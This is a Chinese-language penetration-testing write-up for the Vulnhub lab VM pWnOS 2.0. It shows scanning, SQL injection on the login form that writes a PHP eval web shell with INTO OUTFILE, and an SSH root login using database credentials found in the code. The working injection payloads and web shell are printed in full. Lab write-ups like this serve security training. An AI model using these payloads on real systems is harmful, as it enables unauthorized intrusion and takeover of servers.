准备工作
靶机基本信息
靶机名称:pWnOS 2.0
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:
NAT
或Host-only
渗透测试目标:获取靶机交互式Shell和
root
权限(无Flag文件)
环境配置
根据Vulnhub上的靶机信息说明,该靶机采取了固定IP配置。当虚拟机导入完成时,需要增加一块虚拟网卡,将其网段配置为10.10.10.0/24
,网关地址为10.10.10.15
,连接方式为NAT
。同时,需要将攻击机也切换到相同的虚拟网卡和网段。
靶机的网络配置如下:
虚拟网卡配置如下:
信息收集
IP地址发现
在Kali Linux中,使用netdiscover
命令发现网段内主机。命令如下:
shell
netdiscover -r 10.10.10.0/24
如图,10.10.10.15
为网关地址,10.10.10.1
和10.10.10.254
不太可能是靶机地址,所以靶机IP地址为10.10.10.100
。
防火墙探测
得知靶机IP地址之后,我们可以通过ICMP
进行简单的连通性探测:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=1 ttl=64 time=1.78 ms
64 bytes from 10.10.10.100: icmp_seq=2 ttl=64 time=0.848 ms
64 bytes from 10.10.10.100: icmp_seq=3 ttl=64 time=0.828 ms
64 bytes from 10.10.10.100: icmp_seq=4 ttl=64 time=0.921 ms
--- 10.10.10.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.828/1.094/1.782/0.398 ms
接下来使用Nmap
进行探测:
shell
nmap -sF -T3 -p- 10.10.10.100
由此得知靶机存在防火墙,且只允许外部IP访问22
、80
两个端口,未过滤ICMP
包。
网络服务扫描
得知靶机的防火墙状态之后,我们扫描一下详细的服务信息。
shell
nmap -sS -sV -A -p- -oN ./tcp_result.txt 10.10.10.100
由此得知靶机的开放端口信息如下:
端口 | 传输层协议 | 应用层协议 | 详细信息 |
---|---|---|---|
22 | TCP | SSH | OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0) |
80 | TCP | HTTP | Apache httpd 2.2.17 ((Ubuntu)) |
同时得知靶机操作系统为Ubuntu Linux
,内核版本大概在2.6.32
到2.6.39
之间。
服务探测
SSH服务(22端口)
使用nc
工具确定Banner
信息:
Text
┌──(root㉿hacker)-[/home/hacker]
└─# nc -nv 10.10.10.100 22
(UNKNOWN) [10.10.10.100] 22 (ssh) open
SSH-2.0-OpenSSH_5.8p1 Debian-1ubuntu3
HTTP服务(80端口)
使用Firefox浏览器打开网址http://10.10.10.100/
:
主页上有注册和登录页面的链接,除此之外有一个邮箱地址admin@isints.com
,就没有其它东西了。
点击Login
链接,发现登录网站时貌似需要使用邮箱地址:
先用dirsearch
工具扫描一下网站目录:
shell
# -x 排除状态码
dirsearch -u http://10.10.10.100/ -x 403,404
可以看到网站内有如下页面:
/activate
=> 跳转至主页面/blog
=> 网站博客系统/include
=> 网站配置信息目录/login
=> 网站登录功能目录/register
=> 网站注册功能目录/info
=> PHPInfo页面info.php
=> PHPInfo页面login.php
=> 网站登录页register.php
=> 网站注册页
访问http://10.10.10.100/login.php
,打开登录页面,随便填写用户和密码,然后打开BurpSuite
拦截:
由此可以确定网站登录页面的路由信息:email
参数为用户的邮箱,pass
为用户的密码信息。
既然如此,那么就尝试在两个参数最后加英文引号,进行SQL注入探测:
快啊,很快啊(大喜
发现SQL语句为:
SQL
SELECT * FROM users WHERE email='/*{用户名}*/' AND pass='/*{MD5密码值}*/' AND active IS NULL
还发现了网站绝对路径为/var/www/
,MySQL版本为5.1.54-1ubuntu4
等大量敏感信息。。。
而且看上去网站并未将英文引号转义,因此我们可以先使用INTO OUTFILE
语句尝试向/var/www
目录写入somepic.html
文件:
Text
email=furina_i_love_you'+union+select+null,null,null,null,null,null,null,'<img%20src=https://upload-bbs.miy......21840740667034.jpg%20width=50%>'+into+outfile+'/var/www/somepic.html'-- -&pass=sxsaxsdfgvebrhgs&submit=Login&submitted=TRUE
看起来非常成功:
然后就是直接写入PHP一句话木马:
Text
email=furina_i_love_you'+union+select+'','','','','','','','<?php%20@eval($_REQUEST[code]);%20?>'+into+outfile+'/var/www/shell.php'-- -&pass=sxsaxsdfgvebrhgs&submit=Login&submitted=TRUE
使用中国蚁剑软件连接:
连接上网页木马之后,双击新增的条目,查看PHP网站程序:
现在为了进一步渗透,我们需要进行代码审计,目标是找出MySQL
登录凭证,并尝试在SSH上登录。首先查看login.php
文件:
可以看到login.php
首先包含了./include/config.inc.php
等文件 ,随后将$_GET
、$_POST
、$_COOKIE
三个超级全局变量数组中的每一个值进行了转义,然后才进入登录判断流程。但可疑的是在登录流程的第一步又使用require_once()
函数包含了一个名为MYSQL
的常量。
接下来我们查看/var/www/includes/config.inc.php
文件:
可以看到在该文件24行使用define()
函数定义了一个名为MYSQL
的常量,其值为../mysqli_connect.php
。
我们回到/var/www/login.php
文件中,将该常量的字符串值带入第25行的require_once()
函数:
PHP
<?php
require_once('../mysqli_connect.php')
?>
也就是说,/var/www/login.php
包含的真实MySQL
配置文件其实为/var/mysqli_connect.php
,网站目录/var/www
下的mysqli_connect.php
文件只是一个陷阱。
我们在窗口左侧点击返回/var
目录,点击该目录下的mysqli_connect.php
文件查看:
可以得到如下登录凭证:
- 用户名:
root
- 密码:
root@ISIntS
打开Termius
软件,尝试登录SSH:
遥遥领先!!! 看来已经用不着提权了(♡ര‿ര)